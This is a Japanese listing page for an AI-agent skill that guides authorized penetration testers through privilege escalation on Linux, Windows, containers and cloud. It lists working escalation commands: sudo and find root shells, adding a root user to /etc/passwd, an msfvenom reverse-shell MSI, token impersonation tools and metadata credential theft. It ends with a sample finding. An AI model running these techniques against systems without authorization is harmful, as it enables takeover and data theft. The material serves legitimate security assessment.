mcpField
P
performing-privilege-escalation-assessment

performing-privilege-escalation-assessment

github.com/mukul975セキュリティ35.2k85 回インストール8 週間前に更新
リポジトリ

performing-privilege-escalation-assessment について

許可を得たペネトレーションテスター向けの権限昇格評価スキルです。Linux、Windows、コンテナ、クラウド環境の列挙と昇格経路の確認、影響の記録を扱います。

主な機能

  1. 01Linux と Windows の列挙
  2. 02一般的なローカル昇格経路の確認
  3. 03コンテナとクラウドのリスク評価
  4. 04経路と業務への影響の記録

活用シーン

  1. 01侵入テストで低権限からの昇格経路を検証
  2. 02Linux または Windows サーバーの強化状況を確認
  3. 03EDR と最小権限ポリシーの有効性を評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-privilege-escalation-assessment

インストール後、Claude Code で/performing-privilege-escalation-assessmentを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

権限昇格アセスメントの実施

使用する場面

  • ペネトレーションテストで初期の低権限アクセスを取得した後、システムが完全に侵害される可能性を実証する場合
  • ローカル権限昇格攻撃に対する Linux および Windows サーバーのセキュリティ強化状況を評価する場合
  • エンドポイント検出・対応(EDR)ツールが一般的な権限昇格手法を検出するか評価する場合
  • エンドポイントにおける最小権限ポリシーとアプリケーションのホワイトリスト化の有効性をテストする場合
  • コンテナ脱出および VM エスケープの制御が適切に構成されていることを検証する場合

使用しないでください。書面による許可がない場合、悪用によってダウンタイムが発生する可能性がある本番システムに対して、または事前の承認とロールバック機能がないシステムにカーネルエクスプロイトを展開する場合は使用しないでください。

前提条件

  • 正規の手段で取得した、対象システムへの低権限のシェルアクセス(リバースシェル、SSH、RDP)
  • 権限昇格の列挙スクリプト:linPEAS(Linux)、winPEAS(Windows)、Linux Smart Enumeration(LSE)
  • 一般的な CVE に対するコンパイル済みカーネルエクスプロイト、または対象上でコンパイルするためのツールへのアクセス
  • Linux の SUID/sudo バイナリ悪用に関する GTFOBins のリファレンス、および Windows の環境内蔵バイナリに関する LOLBAS のリファレンス
  • 対象上でコンパイルできない場合は、対象アーキテクチャ用のコンパイル済みポストエクスプロイトバイナリ

ワークフロー

ステップ 1:システムの列挙

対象システムについて包括的な情報を収集します。

Linux の列挙:

  • id && whoami - 現在のユーザーとグループの所属状況
  • uname -a - カーネルエクスプロイトの特定に必要なカーネルバージョン
  • cat /etc/os-release - ディストリビューションとバージョン
  • sudo -l - 現在のユーザーが sudo 経由で root として実行できるコマンド
  • find / -perm -4000 -type f 2>/dev/null - SUID バイナリ
  • find / -perm -2000 -type f 2>/dev/null - SGID バイナリ
  • crontab -l && ls -la /etc/cron* - root として実行されるスケジュール済みタスク
  • ps aux | grep root - root として実行中のプロセス
  • cat /etc/passwd - ユーザーアカウント(UID 0 の追加ユーザーがいないか確認)
  • find / -writable -type d 2>/dev/null - 全ユーザーが書き込み可能なディレクトリ
  • linpeas.sh を実行して、列挙を自動化し、包括的な情報を収集する

Windows の列挙:

  • whoami /priv - 現在のユーザー権限(SeImpersonatePrivilege、SeDebugPrivilege を確認)
  • systeminfo - OS バージョン、修正プログラムの適用レベル、アーキテクチャ
  • wmic service get name,pathname,startmode - 引用符で囲まれていないサービスパス
  • icacls "C:\Program Files" /T - Program Files 内で書き込み可能なディレクトリ
  • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - AlwaysInstallElevated の確認
  • cmdkey /list - 保存された Windows 資格情報
  • schtasks /query /fo LIST /v - 実行アカウントを含むスケジュール済みタスク
  • winPEAS.exe を実行して、列挙を自動化し、包括的な情報を収集する
ステップ 2:Linux の権限昇格経路

特定した権限昇格経路を体系的にテストします。

  • Sudo の設定ミス:sudo -l に (ALL) NOPASSWD: /usr/bin/vim のような項目が表示された場合は、GTFOBins を使用して権限を昇格します。
    • sudo vim -c ':!/bin/bash' を実行して root シェルを起動します
    • 危険な Sudo 項目の例:vim、less、find、nmap、python、perl、ruby、awk、env
  • SUID バイナリの悪用:任意のコマンド実行、シェルエスケープ、またはファイル読み取りを可能にする SUID バイナリが見つかった場合:
    • カスタム SUID:カスタム SUID バイナリが絶対パスを指定せずに他のプログラムを呼び出していないか確認します(PATH インジェクション)
    • 既知の SUID:標準の SUID バイナリの悪用方法を GTFOBins で確認します
  • Cron ジョブの悪用:現在のユーザーが書き込み可能なスクリプトを実行する Cron ジョブ、または書き込み可能なディレクトリ内のスクリプトを実行する Cron ジョブがある場合:
    • スクリプトを変更し、リバースシェルまたは bash の SUID コピーを追加します
    • PATH ベースの Cron 悪用:Cron ジョブが絶対パスを指定せずにコマンドを呼び出し、PATH が書き込み可能な場合
  • カーネルエクスプロイト:カーネルバージョンを既知のエクスプロイトと照合します。
    • DirtyPipe(CVE-2022-0847):Linux カーネル 5.8~5.16.11
    • DirtyCow(CVE-2016-5195):Linux カーネル 2.6.22~4.8.3
    • PwnKit(CVE-2021-4034):ほとんどの Linux ディストリビューションに影響する Polkit pkexec の脆弱性
  • ケイパビリティの悪用:getcap -r / 2>/dev/null を実行し、昇格したケイパビリティ(cap_setuid、cap_dac_override)を持つバイナリを探します
  • 書き込み可能な /etc/passwd:/etc/passwd が書き込み可能な場合は、新しい root ユーザーを追加します:echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
ステップ 3:Windows の権限昇格経路

Windows 固有の権限昇格経路をテストします。

  • トークンの偽装:ユーザーが SeImpersonatePrivilege を持つ場合(サービスアカウントや IIS で一般的):
    • JuicyPotato.exe、PrintSpoofer.exe、または GodPotato.exe を使用して SYSTEM を偽装します
    • PrintSpoofer.exe -i -c "cmd /c whoami" -> NT AUTHORITY\SYSTEM
  • 引用符で囲まれていないサービスパス:サービスのパスに引用符がなく、空白が含まれており(例:C:\Program Files\My App\service.exe)、途中のディレクトリに書き込み可能な場合:
    • 悪意のある実行ファイルを C:\Program Files\My.exe に配置すると、サービスの再起動時に実行されます
  • 書き込み可能なサービスバイナリ:SYSTEM として実行されているサービスの実行ファイルを変更できる場合:
    • バイナリをリバースシェルに置き換え、サービスを再起動します
  • AlwaysInstallElevated:HKLM と HKCU の両方の AlwaysInstallElevated レジストリキーが 1 に設定されている場合:
    • 悪意のある MSI を生成します:msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi
    • 昇格した権限でインストールします:msiexec /quiet /qn /i shell.msi
  • 保存された認証情報:cmdkey /list、AutoLogon レジストリキー、unattend.xml、web.config ファイル、PowerShell の履歴で認証情報を確認します
  • DLL ハイジャック:書き込み可能なディレクトリから DLL を読み込むサービスを特定します。Process Monitor で読み込みに失敗した DLL を見つけてから、悪意のある DLL を配置します。
  • スケジュールされたタスク:SYSTEM として実行され、スクリプトまたはバイナリが書き込み可能なタスクを探します
ステップ 4:コンテナおよびクラウドでの権限昇格

コンテナ化環境およびクラウド環境での権限昇格経路をテストします。

  • Docker からの脱出:コンテナが特権モード(--privileged)で実行されているか、Docker ソケット(/var/run/docker.sock)がマウントされているか、SYS_ADMIN ケイパビリティを持っているか確認します
  • Kubernetes Pod の権限昇格:cluster-admin 権限を持つサービスアカウントトークン、hostPID/hostNetwork 名前空間、または hostPath ボリュームマウントがないか確認します
  • クラウドメタデータ:侵害したホストからクラウドインスタンスのメタデータ(http://169.254.169.254/latest/meta-data/)にアクセスし、IAM ロール、認証情報、インスタンス情報を特定します
  • IAM ロールの悪用:クラウド認証情報が見つかった場合は、IAM 権限を列挙し、IAM ポリシーの操作による権限昇格をテストします
ステップ 5:ドキュメント化と影響評価

エスカレーションの全経路とビジネスへの影響を文書化します。

  • エスカレーション中に実行したすべてのコマンドを、タイムスタンプとともに記録します
  • 権限昇格の証拠を取得します(root/SYSTEM と表示される whoami、制限されたファイルへのアクセスなど)
  • 権限昇格後にアクセス可能になるデータやシステムを文書化します
  • エスカレーション手法を MITRE ATT&CK にマッピングします(T1548 - 権限昇格制御メカニズムの悪用、T1068 - 権限昇格を目的とした脆弱性の悪用)
  • 特定した各エスカレーション経路に対する具体的な修正策を提示します

主な概念

用語定義
SUID バイナリSet User ID ビットが有効になっている Linux バイナリです。実行者に関係なく、ファイル所有者(通常は root)の権限で実行されます
SeImpersonatePrivilegeプロセスが別のユーザーのセキュリティトークンを偽装できる Windows の特権です。サービスアカウントが悪用し、SYSTEM への権限昇格に使われることがよくあります
カーネルエクスプロイトオペレーティングシステムのカーネルの脆弱性を標的とし、リング 0 または root/SYSTEM レベルのアクセス権を取得するエクスプロイトです
GTFOBins設定ミスがある場合に、権限昇格、ファイルの読み書き、シェルのエスケープに悪用できる Unix バイナリをまとめたリストです
LOLBASLiving Off The Land Binaries and Scripts の略です。コード実行、ファイル操作、永続化に悪用できる正規の Windows バイナリです
DLL ハイジャック正規の DLL の場所より先に検索されるディレクトリに悪意のある DLL を配置し、Windows の DLL 検索順序を悪用して読み込ませる手法です
トークン偽装適切な特権を持つ侵害済みプロセスが、別のユーザーのアクセストークンを取得して使用し、そのユーザーとしてコマンドを実行する Windows の手法です

ツールとシステム

  • linPEAS / winPEAS:Linux および Windows における数百もの潜在的なエスカレーション経路を調査する、自動権限昇格列挙スクリプトです
  • GTFOBins / LOLBAS:設定ミスがある場合に権限昇格に悪用できる Unix バイナリと Windows バイナリのリファレンスデータベースです
  • PrintSpoofer / GodPotato:SeImpersonatePrivilege を悪用し、サービスアカウントから SYSTEM レベルのアクセス権を取得する Windows の権限昇格ツールです
  • Linux Exploit Suggester:対象のカーネルバージョンを既知のカーネルエクスプロイトのデータベースと照合し、適用可能なエクスプロイトを特定するスクリプトです

よくあるシナリオ

シナリオ:Linux Web サーバーでの権限昇格

コンテキスト:ペネトレーションテスト中、テスターは PHP ファイルアップロードの脆弱性を通じて、Ubuntu 22.04 の Web サーバー上で、低い権限を持つ www-data としてシェルを取得しました。目的は root へ権限昇格し、サーバーが完全に侵害されることを実証することです。

アプローチ:

  1. linpeas.sh を実行します。www-data がパスワードなしの sudo 経由で /usr/bin/find を root として実行できることが特定されます
  2. sudo -l で確認します:(root) NOPASSWD: /usr/bin/find
  3. GTFOBins の find の sudo エントリーを参照します:sudo find . -exec /bin/bash -p \; -quit
  4. コマンドを実行し、root シェルを取得します
  5. root として /etc/shadow にアクセスしてパスワードハッシュを抽出し、アプリケーション設定からデータベースの認証情報を読み取り、顧客の個人を特定できる情報(PII)を含む MySQL データベースにアクセスします
  6. 以下の内容を文書化します:www-data として初期アクセス → sudo の設定ミス → root シェル → データベースへのアクセス → 75,000 件の顧客レコードにアクセス可能

落とし穴:

  • 似た環境で事前にテストせずにカーネルエクスプロイトを実行し、カーネルパニックやシステムクラッシュを引き起こす
  • コンテナー環境を確認せず、見かけ上の root アクセスがコンテナーネームスペース内に限定されていることを見落とす
  • 侵害されたホストからアクセスでき、IAM 認証情報を取得できる可能性があるクラウドメタデータエンドポイントを無視する
  • sudo の確認後にケイパビリティと SUID バイナリを列挙せず、別の権限昇格経路を見落とす

出力形式

## Finding: Sudo Misconfiguration Allowing Root Escalation via find

**ID**: PRIV-001
**Severity**: Critical (CVSS 8.8)
**Affected Host**: web-prod-01 (10.10.5.15)
**OS**: Ubuntu 22.04 LTS
**Initial Access**: www-data (via PHP file upload - WEB-004)
**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching

**Description**:
The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root
without a password. The find command supports the -exec flag which can spawn a
root shell, effectively granting www-data unrestricted root access.

**Proof of Concept**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)

**Impact**:
Full root access on the production web server. From root, the tester accessed
database credentials in /var/www/app/.env, connected to MySQL, and confirmed
read access to 75,000 customer records including names, emails, and addresses.

**Remediation**:
1. Remove the /usr/bin/find sudo entry for www-data
2. If find access is required, restrict it to specific directories with --no-exec
3. Audit all sudo entries for binaries listed in GTFOBins
4. Implement sudo logging with auditd for all privileged command execution

コメント